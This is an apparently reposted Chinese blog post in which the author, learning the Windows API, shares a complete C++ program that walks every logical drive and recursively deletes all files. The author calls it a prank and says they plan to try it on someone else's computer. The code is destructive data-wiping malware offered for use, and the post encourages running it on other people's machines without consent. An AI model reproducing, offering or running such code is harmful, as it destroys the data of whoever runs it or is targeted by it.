用Windows API遍历所有文件并删除

来源:互联网 发布:西门子工业软件 编辑:程序博客网 时间:2024/06/05 14:27

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){  WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s\\*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do {  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))  {   continue;  }  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)  {   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);   DelFile(cNewPath);//递归  }  //  MessageBox(NULL,data.cFileName,"Look",0);  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);  DeleteFile(cFullPath);   }while(FindNextFile(hFind,&data)); }int WINAPI WinMain(  HINSTANCE hInstance,      // handle to current instance  HINSTANCE hPrevInstance,  // handle to previous instance  LPSTR lpCmdLine,          // command line  int nCmdShow              // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','\0'}; for(int ix=0;ix!=32;ix++) {  if(bit.test(ix))  {   Path[0]='A'+ix;   DelFile(Path);  } } return 0;}


最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.

等有机会拿到别人电脑上试试吧....

 

原创粉丝点击